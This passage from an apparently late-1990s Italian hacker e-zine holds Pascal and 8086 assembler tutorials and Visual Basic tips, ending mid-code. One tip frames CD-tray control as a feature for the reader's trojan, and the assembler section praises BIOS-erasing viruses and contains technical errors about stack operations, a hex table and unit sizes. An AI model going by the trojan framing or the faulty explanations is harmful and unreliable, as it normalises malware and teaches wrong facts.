Addirittura ho usato 3 unit diverse (ne sarebbe bastata una sola) .. ma lo
scopo era appunto quello di mostrare un caso non proprio banale.
Sia i sorgenti del file Sppdemo che tutti gli altri ..compresi
il file spp3.3ds 30k
il file sppdemo.exe (compresso) 38k
i vari sorgenti delle unit necessarie al programma principale
(x3ds.pas, strprocs.pas, demoinit.pas)
le tre unit create col mio mudulo.pas
si trovano nel File supporti.zip
( per gli sfaticati ci sono anche i sorgenti del convertitore sia in c che
in pascal! convpas.pas, convpas.c )
-------------------------------------------------------------Supporti.zip
Convpas.c
Convpas.pas
497
858
(convertitore in c)
""
Sppdemo.pas
Demoint.pas
X3ds.pas
Strprocs.pas
unop.pas
duep.pas
trep.pas
13710
7660
5476
2691
24812
21932
25614
DEMO GRAFICA SPP
|_unit di supporto per demo
|__________ ""
|__________ ""
|______________ 1/3 file spp3.3ds
|______________ 2/3
""
|______________ 3/3
""
Sppdemo.exe
38204
Sppdemo.pas compilato e compresso con
wwpack
Spp3.zip
|
|_Spp3.3ds
11679
File spp3.3ds compresso
30154
File creato con 3d Studio R4 per DOS.
------------------------------------------------------------Master - Parsifal
-= SPP MEMBER =ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
|ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿|
|³ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»³|
|³º PASCAL TUTORIAL 2 º³|
|³ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ³|
|ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ|
Ehila benvenuti di nuovo in questo Tutorial. Avete capito qualcosa la
scorsa volta? Se la risposta e' no continuate a leggere, mentre se la
vostra risposta e' si ripassatevi la scorsa lezione.
In questa lezione vedremo le strutture non primitive ovvero strutture
piu' flessibili che evitano un lungo lavoro di codifica al programmatore.
Tra le varie strutture abbiamo quella di selezione multipla, che in
questo caso e'il comando CASE. La sua sintassi e' questa:
case (x) of
1: begin
...
... \_ Istruzioni
... /
end;
2: begin
...
...
...
end;
3:begin
...
end;
...
...
end;
X rappresenta la variabile in cui e' contenuta la scelta che ha digitato
l'utente. Il case in parole povere fa questo:
controlla il valore della variabile x, se e' uguale a 1, esegue il primo
procedimento; se e' uguale a 2 esegue il secondo e cosi' via.
Sapete cos'e' un vettore?
Un vettore e' formato da una variabile che ha tante locazioni di memoria,
quanta ne abbiamo dichiarato noi nella dichiarazione. In pascal un vettore
si dichiara usando la prola ARRAY, con affianco tra parentesi quadre
il numero di locazioni che gli vogliamo attribuire. Esempio:
var v:array[1..10] of real;
In questo caso ho dichiarato un vettore di dimensione 10 numeri reali.
Lo potrei dichiarare anche di stringhe:
var v:array[1..20] of string[30];
Ora ho dichiarato un vettore di dimensione 20 che contiene stringhe con un
numero di caratteri che possono arrivare a 30.
E le matrici?
Beh le matrici sono quasi la stessa cosa, solo che per dichiarare una matrice
dobbiamo indicare due dimensioni, visto che una matrice e' formata da un
numero righe e un numero di colonne. Esempio:
var v:array[1..20,1..20] of real;
Ho dichiarato una matrice di 20*20 elementi, contenente numeri reali.
Per la lettura di un vettore abbiamo la seguente codifica:
for i:=1 to k do
(*Per i=1 alla dimensione che abbiamo letto prima*)
begin
writeln ('inserisci il ',i,' valore');
readln(v[i]);
end;
Per lettura di una matrice abbiamo la seguente codifica:
for i:=1 to nr do
begin
for j:=1 to nc do
begin
writeln ('inserisci il ',j,' numero della ',i,' riga');
readln(v[i,j]);
end;
end;
Nella lettura di un vettore abbiamo un ciclo che va da 1, valore attribuito
alla variabile I, alla dimensione del vettore che deve essere letta o
specificata prima della lettura, mentre nella lettura di una matrice
abbiamo due cicli nidificati, cioe' uno dentro l'altro.
Il primo ciclo va da 1, attribuito alla variabile I, al numero di righe, il
secondo invece va da 1, attribuito alla variabile J, al numero di colonne.
Le variabili nr e nc devono essere lette prima, altrimenti la cpu non
sa quando deve finire il ciclo.
Ok facciamo un programma di prova:
program let_hack;
(*Questo programma legge i voti, stampa un giudizio e il voto massimo*)
var v:array[1..10] of byte;
i,k,max:byte;
(*Dichiarazione delle variabili*)
begin
(*Lettura della dimensione*)
repeat
writeln ('Inserisci il numero di hacker che vogliono partecipare');
readln (k);
(*Controlla se la dimensione e' contenuta nella dichiarazione*)
until (k>0) and (k<=10);
(*Ciclo che serve per leggere i voti*)
for i:=1 to k do
begin
writeln ('Il ',i,'ø hacker che voto ha preso all'ultima lezione di
hacking? ');
readln(v[i]);
(*Se il voto e' maggiore o uguale a 6 fa una stampa*)
if v[i]=>6 then writeln ('Bravo sei buon apprendista');
if v[i]<6 then writeln ('Buuhh!!! Di questo passo sarai bocciato');
end;
(*Inserisce nella variabile max il primo voto del vettore*)
max:=v[1];
for i:=1 to k do
(*Se uno dei voti e' maggiore di max, lo memorizza in max*)
if v[i]>max then max:=v[i];
(*Stampa la variabile max*)
writeln ('Il voto piu'' alto e'' ',max);
end.
Non credo sia molto difficile, anzi come ve lo spiego io...mah.
E se vogliamo realizzare un prog che permetta all'utente di scegliere quale
area calcolare??? No problem, eccolo:
program aree;
(*Questo prog offre la possibilita' di calcolare varie aree*)
var sc:byte;
base,altezza:real;
(*Dichiarazione delle variabili*)
begin
repeat
(*Stampa del menu'*)
writeln ('Quale area vuoi calcolare?');
writeln ('--------------------------');
writeln ('1) Quadrato
');
writeln ('2) Triangolo
');
writeln ('3) Cerchio
');
writeln ('4) Fine
');
(*Legge la scelta e controlla se e' presente nel menu')
repeat
readln(sc);
until (sc>0) and (sc<=4);
(*Esegue la scelta effettuata*)
case sc of
1: begin
writeln ('Inserisci il lato');
readln(base);
(*Memorizza nella variabile base il suo quadrato*);
base:=base*base;
writeln ('L''area e'' ',base);
end;
2: begin
writeln ('Inserisci la base e l''altezza');
readln(base,altezza);
(*Memorizza nella variabile base l'area del triangolo e la stampa*)
base:=(base*altezza)/2;
writeln ('L''area e'' ',base);
end;
3: begin
writeln ('Inserisci il raggio del cerchio');
readln(base);
(*Memorizza nella variabile base l'area del cerchio e la stampa*)
base:=base*base*3.14;
writeln ('L''area e'' ',base);
end;
4: begin
end;
end;
(*Ripete il ciclo finche' non e' stata digitata la scela 4 *);
until (sc=4);
end.
Ok, non mi dire che non avete capito, altrimenti mi suicidio.
A questo punto vi ponete una domanda:
Come mai quanto dichiaro una variabile di tipo real e ne stampo il contenuto
e' quasi illegibile?
Dovete sapere che il formato real usa la notazione scientifica ovvero
il floating point. Per risolvere questa incomprensione di lettura dobbiamo
usare il fixed point. In poche parole:
questo e' un numero in floating point
0.5599234E+02
Significa che dobbiamo spostare la virgole verso destra di due posti. Se,
invece, avremmo avuto il segno - al posto di + avremmo dovuto spostare la
virgola verso sinistra.
Per ovviare a questa situazione, quando dovremo stampare un numero reale
useremo la seguente sintassi
var:x:y
Dove var e' la variabile reale, x e' il numero di cifre totali che vorremo far
stampare al nostro programmino e y e' il numero di cifre decimali che vorremo
far apparire. Un esempio:
writeln ('Il mio pisello e'' lungo ',pis:40:0);
Stampa la variabile dandogli 40 cifre totali (esagerato!) e 0 cifre decimali.
E se volessimo abbelire il nostro proggrammino?
Allora dopo aver specificato il modulo uses crt possiamo usare i seguenti
comandi:
CLRSCR;
Cancella dallo schermo tutto cio' che c'e' scritto
GOTOXY(X,Y);
Posizione il cursore sulla colonna X e sulla riga Y
DELAY(N);
Aspetta N millisecondi prima di continuare
TEXTBACKGROUND(N);
Seleziona il colore dello sfondo. N e' compreso tra 0 e 7
0 --> NERO
1 --> BLU
2 --> VERDE
3 --> VIOLETTO
4 --> ROSSO
5 --> MAGENTA
6 --> MARRONE
7 --> GRIGIO
TEXTCOLOR(N);
Seleziona il colore con cui devono essere scritti i caratteri di testo
0 --> NERO
1 --> BLU
2 --> VERDE
3 --> VIOLETTO
4 --> ROSSO
5 --> MAGENTA
6 --> MARRONE
7 --> GRIGIO
8 --> GRIGIO SCURO
9 --> BLU CHIARO
10--> VERDE CHIARO
11--> VIOLA CHIARO
12--> ROSSO CHIARO
13--> MAGENTA CHIARO
14--> GIALLO
15--> BIANCO
KEYPRESSED
E' una funzione che assuma il valore vero quando viene premuto un tasto.
Il suo utilizzo puo' essere questo:
REPEAT UNTIL KEYPRESSED
Cioe' ripeti finche' non viene premuto un pulsante
Allora, a me sembra che per ora basti cosi'. La prossima volta credo che
vedremo gli altri moduli con i loro comandi e i vari algoritmi di ordinamento
e di ricerca. Ci vediamo miei cari Pascalizzati!
T0rment0
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
PRIMI PASSI VERSO L'ASSEMBLER
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
==============================================================================
===============================pREFAZIONe=====================================
==============================================================================
Questo breve testo vuol insegnare (o perlomeno ci prova :-P) le basi della
programmazione per processori INTEL 80x86.
Non peoccupatevi quello che insegnero' andra' benissimo anche su i normali
Pentium, perche' anche se i nuovi processori sono avanzati, hanno tenuto la
compatibilita' con i vecchi processori, che lavoravano in Real Mode!!
Per poi progredire e creare codici Assembler ottimizzati per Pentium vi
forniro' un tutorial (in inglese purtroppo) dove spiega quali sono i registri
a 32bit e come si utilizzano al meglio delle loro possibilita' (anche io me lo
sto' studiando in questo momento) la modalita' in cui lavora il pentium, come
tutti gli altri microprocessori a 32bit, si chiama Protect Mode (32bit).
L'assembler si differenzia dagli altri linguaggi perche' non e' costruito su
istruzioni (come i lunguaggi ad alto livello), ma bensi' a INTERRUPT. Questi
non sono altro che delle funzioni messe a disposizione del S.O o dal BIOS, ma
una delle carenze di questo linguaggio e' che non si possono creare programmi
per WINDOWS (o almeno si puo' fare linkando le funzioni delle api ma io non ho
mai provato e nemmeno lo voglio fare! L'unica cosa e' che si formano exe di
dimensioni ristrettissime).
Nonostante cio' questo linguaggio rimane sempre usato per creare giochi, che
utilizzano fortemente il 3D, anche se oggi si trovano API (openGL e DX) che
creano surface molto piu' potenti di quelle che si potrebbero creare
manualmente con l'ASM, e per creare VIRUS (hihihi) molto potenti come il CIH
che puo' cancellare il BIOS!!
==============================================================================
==================================rEQUISITi===================================
==============================================================================
Per seguire questo corso dovete avere:
1) Il TASM5 che trovate a: http://newdata2.box.sk/neworder/tools/tasm5.zip
2) Una lista degli INTERRUPT
==============================================================================
==================================iNIZIo======================================
==============================================================================
Bene nel primo tutorial vi parlero' solamente di come calcola l'asm quindi
almeno per questa volta nessun programmino sorry.
Come saprete ogni singolo carattere che scriviamo (intendo sia numeri che
lettere) sono un byte ciascuno e alla base dei byte ci sono i bit. Quindi
questo vi dovrebbe far capire che ogni file e' composto da tantissimi bit che
si susseguono; Ma cosa sono i bit?
I bit sono quei piccoli numerini (0 o 1) che si susseguono. Questi messi
affiancati possono formare i BYTE, MegaByte ecc...
BYTE: E' composto da 8 bit (es. 10100011)
WORD: E' composto da 2 BYTE quindi 16 bit (0011011010100011)
DOUBLEWORD: E' composto da 2 WORD quindi 32 bit -> 4 BYTE
KILOBYTE: E' composto da 1024 byte (e non 1000 bit come si crede)
MEGABYTE: E' composto da 1048578 byte
GIGABYTE: 1024 MegaByte
TETABYTE: 1024 GigaByte
Oggi giorno si puo' contare sull'utilizzo di linguaggi ben strutturati come
C, Pascal, Java che ci permettono di creare applicazioni in modo veloce e
sicuro, mentre l'asm, che e' il linguaggio piu' vicino al codice binario, ci
"permette" di mandare anche il crash il sistema per un banale errore!
E' da ricordare che non sono sempre esistiti i linguaggi come oggi prima i
programmatori (parlo dell'era preistorica :=P) dovevano scrivere i programmi
bit per bit!!!
Bene, adesso che abbiamo visto cosa sono i bit passiamo a capire come funziona
la CPU e come calcola!
La CPU calcola in formato binario, ma esistono altri formati con cui possiamo
comunicare con la CPU e cioe' decimale ottale e esadecimale.
Binario: Il formato binario e' un sistema posizionale come il decimale e cioe'
le cifre che compongono il numero si moltiplicano per le potenze di
2 (da qui' binario).
10110001 = 1*2^7 + 0*2^6 + 1*2^5 + 1*2^4 + 0*2^3 + 0*2^2 + 0*2^1 + 1*2^0 ->176
Decimale: Il formato decimale si puo' scomporre nel seguente modo, prendiamo
145 come numero decimale e portiamolo in formato binario:
1)
2)
3)
4)
si divide per 2 il numero decimale
se il risultato e' pari si scrive 0 altrimenti 1
si rifa' il procedimento da 1 fino a quando non si arriva a 0
i "numeri" ottenuti vanno ribaltati
145 -> 72 -> 36 -> 18 -> 9 -> 4 -> 2 -> 1 -> 0
1
0
0
0
1
0
0
1
numero ottenuto: 10010001 e' la rappresentazione binaria di 145.
Esadecimale: Il formato esadecimale e' molto semplice e semplifica moltissimo
la vita del povero programmatore asm. Come avrete capito dal nome questo
formato e' composto da 16 numeri ma quali sono?
Eccoli:
0
1
2
3
4
5
6
7
8
9
A
B
C
D
E
D
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
0001
0010
0011
0100
0101
0110
0111
1000
1001
1010
1011
1100
1101
1110
1111
un esempio di formato esadecimale e' questo:
100101001011 -> B49
Come avete potuto vedere sono partito da fondo(cifra meno significativa),
prendendo l'ultimo blocco d 4 bit (1011) e sostituito in formato esadecimale.
1011 -> B
0100 -> 4
1001 -> 9
semplice no?
Adesso non ci rimane altro che spiegare come calcola il pc e qui' cerchero' di
semplificarvelo il piu' possibile.
Il mocroprocessore come avete capito riceve input solo in formato binario e
quindi non gli possiamo passare numeri come 947 perche' andrebbe in tilt il SO
quindi come facciamo?
La risposta e' semplice se abbiamo la cifra 947 basta sostituirlo con le cifre
dette nella tabella esadecimale cioe':
947 -> 011101001001
e prendiamo 2 cifre a caso a questo punto proviamo a sommarli per vedere come
calcola la CPU.
Come saprete (almeno spero) in decimale il riporto lo abbiamo quando si supera
il 10 mentre in binario l'abbiamo quando si supera 2 quindi:
11001001+
11000111=
--------100010000
Come avrete capito quando trovo a sommare 1+1 il risultato e' 2, quindi metto
uno 0 al posto di 2 e faccio il riporto di 1 alla cifra successiva...
Avete capito come funziona no? (VEROOO????)
La CPU e' una piccola scatolina di metallo composta di milioni di transistor.
Ma cosa sono sti' c**zo di Transistor?
Sono dei piccolissimi rettangolini(talmente piccoli che vi stanno sulla punta
del mignolo) composti interamente di silicio(lo stesso materiale con cui e'
composta la sabbia, ma allo stato piu' puro) all'interno di essi si trovano
dei registri e segmenti, nei quali passa ogni informazione (0 o 1)!!
I Segmenti e i registri che si trovano nella CPU sono questi:
General purpose (registri utilizzati per contenere ogni cosa da puntatori a
dati dei nostri programmi):
AX -> registro a 16 bit scomponibile in 2 registri (ah e al). Notare bene che
se si modifica il valore in al o ah si modifica anche il valore di ax!!
Usato come destinazione nei calcoli.
BX -> Registro come AX e divisibile in BL - BH. Usato come registro di OFFset.
CX -> registro come AX (CH - CL). Usato come contatore cicli.
DX -> registro come AX (DH - DL). Usato come contenitore per il resto nelle
divisioni.
Registri:
SP -> (stack pointer) e' un puntatore alla zona di memoria abilitata al
contenimento di dati del programma. Viene usato per passare dati da
procedure ad altre o anche per altri scopi. La sua struttura e' un po'
strana infatti i dati che vengono inseriri in quest'area devono essere
ripresi da l'ultimo inserito verso il prima (si chiama LIFO: Last in
First out) ad esempio:
Se vogliamo immettere in sp il valore contenuto in ax e quello di bx dobbiamo
fare questo:
mov sp, ax
mov sp, bx
quando vorremo riprendere questi dati non possiamo riprendere il valore
contenuto in ax perche' e' nella 2ø posizione quindi per riprendere ax dobbiamo
prima prendere bx! esempio:
mov sp, bx
mov sp, ax
Capito? semplice no?
IP -> (instruction pointer) Contiene l'indirizzo della prossima istruzione
IR -> (instruction register) Contiene il codice dell'ustruzione in esecuzione
Insieme creano il fetch dell'esecuzione, che consiste nel prelevamento e
riconoscimento della instruzione da eseguire.
Una volta letto, il codice viene inserito nella PREFETCH QUEUE dove risiedono
i codici letti ma non ancora eseguiti.
Puntatori:
BP -> (base pointer) e' il puntatore alla porzione di memoria alla base dello
stack.
Segmenti:
CS -> (code segment) Puntatore alla zona di memoria contenente il codice della
prossima istruzione da eseguire.
DS -> (data segment) Puntatore alla zona abilitata al conetnimento dei dati.
ES -> (extra segment) Puo' essere usato come registro di segmento ausiliario.
SS -> (Stack segment) Punatore alla zona di memoria che compone lo stack.
Flag:
I flag sono registri che riportano informazioni circa alcune operazioni tipo
calcolo.
E sono:
CF
PF
AF
ZF
SF
TF
IF
DF
OF
->
->
->
->
->
->
->
->
->
Carry flag
Parity flag
Ausiliary flag
Zero flag
Sign Flag
Trap flag
Interrupt flag
Direction flag
OverFlow flag
SEGMENT e OFFSET:
Purtroppo i vecchi processori Intel(8086 - 286) potevano indirizzare solo 1MB
di memoria, ma a parte questo il problema e' un altro:
Come facciamo ad indirizzare 1MB di memoria se per indirizzare 1MB servono 20
bit e noi ne abbiamo solo 16??
Semplice dobbiamo usare degli indirizzi formati da 2 parti chiamati Segment e
Offset.
Un esempio puo' essere 22F1:A0C1.
La CPU pero' non usa questo indirizzo composto a 2 parti ma lo moltiplica
ottenendone 1 da 20bit moltiplicando il segment x 16 (10h) e il risultato
ottenuto addizionato all'offset si ottiene cosi' un indirizzo da 20 bit!
Oppure c'e' il sistema dello shift a sinistra di 4 posizioni.
Questo cmq avviene solo nei programmi a 16bit e non in quelli a 32 i quali
sfruttano i Selettori e descrittori(non mi chiedete come funziona perche' non
lo so nemmeno io).
The First program:
A questo punto possiamo passare a fare il nostro primo programmino, che
sostituira' la funzione printf del C.
Aprite una sessione del vostro caro Blocco note (windows) e scrivete questo
codice asm:
; Tutorial1 Funzione identica a printf in asm -> by So[RD]eN 1999
.MODEL small
.STACK 100h
.DATA
Message DB "Hello world",13,10,'$' ;dichiara una variabile lunga 14 byte
.CODE
start:
;apertura della parte del codice
mov
ax, SEG Message
Messaggio
mov
ds, ax
mov
dx, OFFSET Message
Messaggio
mov
ah, 09h
sta' per esadecimale
int
21h
mov
ah,4Ch
int
21h
end start
;Muove in ax il Segment della variabile
;Muove in ds in contenuto di ax
;Muove in dx l'Offset della variabile
;Muove in ah il valore 09 (esadecimale) la h
;Richiama l'interrupt 21h
;Muove in ah il valore 4C (esadecimale)
;Richiama l'interrupt 21
;Fine della parte del codice
Una volta scritto il codice e salvato con il nome di tut1.asm per compilarlo
vi basta scrivere queste 2 intruzioni nel prompt dos:
tasm tut1.asm
tlink tut1.obj
Una volta fatto questo vi ritroverete il file tut1.exe, le quali dimensioni
saranno ristrettissime in confronto a qualsiasi programma, scritto in C o
pascal.
IL codice che vi ho fatto scrivere e' molto semplice, inizia con una
descrizione (il carattere ; e' identico a /* in C)
.MODEL small -> questo dice alla CPU che tipo di segmenti di memoria
utilizzare per eseguire il programma! Le altre possibili
scelte sono:
Tyny: Tutto il codice e per i dati in un segmento (64 kb)
small: Un segmento per il codice, uno per i dati e uno per lo stack
(tutti in 64Kb)
medium: Il codice in piu' segmenti quindi puo' andare oltre ai 64Kb,
ma i dati e lo stack sempre in 2 segmenti da 64Kb.
compact: Identico al modello small, ma per accedere ai dati vanno
usati puntatori FAR i quali permettono di superare la
barriera dei 64kb.
large: E' come il comparct, ma il codice in piu' segmenti, e i dati
possono superare i 64kb.
.STACK 100h -> Dice al compilatore quanto spazio in memoria deve essere
riservato al programma (100h = 0.5kb).
.DATA -> INizializza la parte in cui vanno dichiarate tutte le variabili che
serviranno nel programma.
Messaggio DB "Hello world",13,10,'$' -> Crea una variabile lunga 14 byte di
tipo byte; ma perche' lunga 14 se la frase e' lunga solo 11 caratteri?
Perche' ogni variabile contenente dei dati ha bisogno dei suoi parametri,
infatti la variabile Messaggio ha bisogno del parametro 13 (equivale al \r in
C), il 10 (\n in C) e $ che e' il terminatore della stringa dati! Quindi da 11
vanno aggiunti 3 byte per il 13, il 10 e la $.
Come avrete capito esistono altri tipi di dichiarazione della stringa eccovene
una lista:
DB
DW
DD
DQ
DF
DT
->
->
->
->
->
->
Define
Define
Define
Define
Define
Define
Byte
Word
double word
Quadword
FAR (puntatore FAR 48 bit -> 6 Byte)
Ten Byte
Per poi creare una variabile che verra' riempita durante l'esecuzione del
programma basta usare queste direttive:
NomeVariabile
DB
5 DUP(?)
In questo modo abbiamo creato una variabile di tipo Byte lunga 5 byte.
.CODE -> Segnala l'inizio del segmento codice
mov ax,SEG Messaggio -> Muove in ax il
(equivale a ax
sapete cosa e'
spieghero'piu'
SEGMENT della variabile Messaggio
= SEG Messaggio in C), cmq se non
il SEGMENT non vi preoccupate lo
avanti).
mov ds, ax -> Voi direte perche' adesso hai spostato il valore contenuto in ax
in ds? non facevi prima a fare "mov ds,SEG Messaggio"?
Ed io vi rispondero' "NO!". Non e' permesso in asm fare spostamente
memoria->memoria infatti ds sta' per Data Segment (punta alla zona di memoria)
quindi e' come fare uno spostamento memoria->memoria!
mov dx, OFFSET Message -> Adesso immetto in dx il valore Offset della
variabile Message.
mov ah, 09h -> Immetto in ah il valore 09 (esadecimale) che indica la funzione
da richiamare, contenuta nell'interrupt 21h. Questa Funzione
prende gli indirizzi (seg:off) allocati nei registri ds(che poi
non e' un registro ma un segmento) e in dx. A questo punto la
CPU fa' l'operazione della fusione degli indirizzi seg:off e
risale cosi' al contenuto della variabile Message, e stampa su
schermo il suo contenuto!!
int 21h -> richiama l'interrupt 21h, prendendo il valore immesso in ah
richiama la funzione 09h e esegue quello descritto prima.
mov ah,4Ch -> Come prima immetto il valore 4Ch in ah e richiamo la funzione
4C contenuta nell'interrupt 21h, e cioe' chiude il programma
eliminando lo spazio occupato da lui in memoria e dalle sue
variabili.
int 21h -> La stessa cosa di prima.
END -> fine del segmento codice
Mi pare che per questa prima volta sia sufficente anche perche' dovete aver
capito bene tutto quello che vi ho descritto per continuare. Quindi leggete
leggete leggete e PROVATE!!
So[RD]eN_82
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
_____
___
___
/__ __\ |
| |
| |\ /|
| |
|
| | /
| \/ |
|_|
|___| |
\ |
|
PPppPPppPPppPPppPPppPPppPPppPPppPPpp
ppSuggerimenti per il visual basicPP
PPppPPppPPppPPppPPppPPppPPppPPppPPpp
Ehila' da quanto tempo??? Tutto a posta? O anche in banca??
Vabbe', eccolo qui il vostro tuttofare che stavolta vi insegnero' dei
trucchetti col Visual Basic.
1. Volete far partire applicazioni di Unix da applicazioni in VB??
Allora scaricatevi da internet (se non l'avete) uno dei tanti winsock control.
Usando lo standard REXEC (remote execute) protocol vi connettete attraverso la
porta 512 e dando login e password giusti, la path e l'eseguibile che vorremo
far eseguire. Funzia!!!
2. Avete realizzato un trojan e volete che vi apri e chiudi lo sportello CD?
il seguente codice:
Declare Function mcisendstring Lib "MMSystem"_
(ByVal IpstrCommand As String, ByVal IpReturnString AS _
String, ByVal wReturnLength As Integer, ByVal hCallback As _
Integer) As Long
'Per chiuderlo
retvalue = mcisendstring("set CDAudio door closed", returnstring,_
127,0)
'Per aprirlo
retvalue = mcisendstring("set CDAudio door open", returnstring,_
127,0)
3. Volete realizzare un browser facile facile ?
Ad aiutarvi c'e' il potente engine di Internet Explorer cioe' SHDOCVW.DLL
Dopo aver aperto una form andate nel menu Progetto, poi scegliete Componenti
ed infine selezionate Microsoft Internet Controls. Vi verranno aggiunte
due nuovi strumenti.
Ora dovete aggiungere sulla form i seguenti componenti:
Combobox
WebBrowser
StatusBar
e un array di 4 bottoni
Metteli in questo modo:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ÚÄÄÄÄÄÄÄÄÄÄÂÄ¿
ÚÄÄÄÄ¿ ÚÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ¿ÚÄÄÄÄ¿ ³
³ ³ Combo1
³V³
³ <- ³ ³ -> ³ ³REFRESH³³STOP³ ³
³ ÀÄÄÄÄÄÄÄÄÄÄÁÄÙ
ÀÄÄÄÄÙ ÀÄÄÄÄÙ ÀÄÄÄÄÄÄÄÙÀÄÄÄÄÙ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³
³ ³
³ ³
³ ³
³ ³
WebBrowser
³ ³
³ ³
³ ³
³ ³
³ ³
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³
³ ³
StatusBar
³ ³
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Poi settate le seguenti proprieta':
Combo1.Text=""
StatusBar1.Style=1
Adesso inserite il seguente codice:
Private Sub WebBrowser1_BeforeNavigate(ByVal URL As String,_
ByVal Flags as Long, ByVal TargetFrameName As String,_
PostData As Variant, ByVal Headers As String, Cancel as Boolean)
Dim strUrl As String
strUrl = URL
Dim bFound As Boolean
Dim i As Integer
For i = 0 To Combo1.Listcount - 1
If Combo1.List(i) = strURL Then
bFound = True
Exit For
End If
Next i
If Not bFound Then
Combo1.AddItem strURL
End If
Combo1.Text=strURL
End Sub
<--------->
Private Sub Combo1_Click()
WebBrowser1.Navigate(Combo1.Text)
End Sub
<--------->
Private Sub Combo1_KeyPress(KeyAscii As Integer)
On Error Resume Next
If KeyAscii = 13 Then
Combo1_Click
End If
End Sub
<---------->
Private Sub Command1_Click(Index As Integer)
Select Case Index
On Error Resume Next
Case 0
WebBrowser1.GoBack
Case 1
WebBrowser1.GoForward
Case 2
WebBrowser1.Refresh
Case 3
WebBrowser1.Stop
End Select
End Sub
<----------->
Private Sub WebBrowser1_StatusTextChange(ByVal Text As String)
StatusBar1.SimpleText = Text
End Sub
-----------End-----------------Questo programmino lo potete anche usare come disk browser.
Io quando sto con Winzozz lo uso al posto dell'Explorer (ihihih)
Almeno sono sicuro che non e' buggato (ihihihih)
4. Registrare le OCX
Allora raga, molte persone si sono lamentate nel fatto che nello scorso numero
quel metodo per registrare il winsck.ocx non funzionava.
Ebbene ho trovato un altro metodo per registrare le ocx (da testare ancora sul
winsck.ocx)
Se avete Visual Basic sul cd ci dovrebbe essere una cartella Tools. Li' ci
dovrebbe essere l'utility regocx32.exe. Usatela in questo modo:
--- copiate il file .ocx in windows/system
--- spostatevi in windows/system
--- digitate regocx32 /u filedaregistrare.ocx
--- digitate regocx32 filedaregistrare.ocx
Beh se non funzia nemmeno cosi' non vi resta che scaricarvi l'ActiveX 6 dal
sito della Micro$oft o un altro sito
5. Come posso catturare lo schermo attraverso un'applicazione VB?
Basta che nel prog inserisci il seguente codice:
--------------------------INIZIO-----------------------------------DefInt A-Z
Declare Sub ReleaseDC Lib "User" (ByVal hWnd, ByVal hDC)
Declare Sub OpenClipBoard Lib "User" (ByVal hWnd)
Declare Sub EmptyClipBoard Lib "User" ()
Declare Sub
hBitMap)
Declare Sub
Declare Sub
Declare Sub
SetClipBoardData Lib "User" (ByVal CBFormat, ByVal _
CloseClipBoard Lib "User" ()
SelectObject Lib "GDI" (ByVal hDC, ByVal hObj)
DeleteDC Lib "GDI" (ByVal hDC)
Declare Sub BitBlt Lib "GDI" (ByVal DestDC, ByVal X, ByVal Y, ByVal _
BWidth, ByVal BHeight, ByVal SourceDC, ByVal X, ByVal Y, ByVal _
Constant&)
Declare Function CreateDC Lib "GDI" (ByVal Driver$, ByVal Dev&, _
ByVal O&, ByVal Init&)
Declare Function CreateCompatibleDC Lib "GDI" (ByVal hDC)
Declare Function CreateCompatibleBitmap Lib "GDI" (ByVal hDC, _
ByVal BWidth, ByVal BHeight)
Sub ScrnCap (Lt, Top, Rt, Bot)
rWidth = Rt - Lt
rHeight = Bot - Top
SourceDC = CreateDC("DISPLAY", 0, 0, 0)
DestDC = CreateCompatibleDC(SourceDC)
BHandle = CreateCompatibleBitmap(SourceDC, rWidth, rHeight)
SelectObject DestDC, BHandle
